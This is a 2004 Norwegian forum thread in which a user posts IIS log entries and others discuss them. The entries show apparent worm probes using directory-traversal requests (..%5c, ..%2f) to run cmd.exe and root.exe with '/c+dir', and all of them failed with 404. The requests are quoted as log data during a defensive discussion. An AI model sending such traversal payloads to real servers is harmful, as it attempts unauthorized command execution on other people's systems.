Analysering av IIS logg..

[DoffeY]

Titta igjennom loggen min for idag (IIS), og da kom jeg over dette:

2004-01-29 06:24:53 111.111.111.111 - 10.0.0.4 80 GET /scripts/root.exe /c+dir 404 -
2004-01-29 06:24:53 111.111.111.111 - 10.0.0.4 80 GET /MSADC/root.exe /c+dir 404 -
2004-01-29 06:24:53 111.111.111.111 - 10.0.0.4 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:24:54 111.111.111.111 - 10.0.0.4 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:24:54 111.111.111.111 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:15 111.111.111.111 - 10.0.0.4 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:15 111.111.111.111 - 10.0.0.4 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:15 111.111.111.111 - 10.0.0.4 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:15 111.111.111.111 - 10.0.0.4 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:17 111.111.111.111 - 10.0.0.4 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:17 111.111.111.111 - 10.0.0.4 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:17 111.111.111.111 - 10.0.0.4 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:18 111.111.111.111 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:18 111.111.111.111 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:18 111.111.111.111 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-01-29 06:25:19 111.111.111.111 - 10.0.0.4 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -

 

- Sånn som det ser ut for meg, prøver denne karen og få kjørt cmd.exe, og prøver en rekke tilfeldige dir's hvor den "evt" kan ligge.. Kanskje i håp om og finne en eller annen webserver som feks deler C:\(root), og gir tilgang til og kjøre filer.. Er jeg helt på jordet da eller? Har foresten sensurert ipen hans.. Den kom fra .fr

[Torbjørn]

dette er bare for bakgrunnsstøy å regne.

 

det er heller ingen kar, men en infisert maskin som står og gjør dette, i 98% av tilfellene.

[DoffeY]

Ser ut som han har fått 404 "all the way"

[Torbjørn]

jepp, det er bra

[Lurifaksen]

Utrolig genialt å skrive et virus som bare prøver winnt mappen, og ikke windows mappen, som er standard på win2003, og alle desktop os. Er det winnt som er standard på 2000?

[ifi]

GeeZuZz  Skrevet 29/01/2004 : 23:46

Er det winnt som er standard på 2000?

 

Det stemmer. $windir som variabelen heter, er \WINNT på Win2000, og \WINDOWS på 98 og xp (windows 2003 vet jeg ikke, men vil anta at det er \windows der også).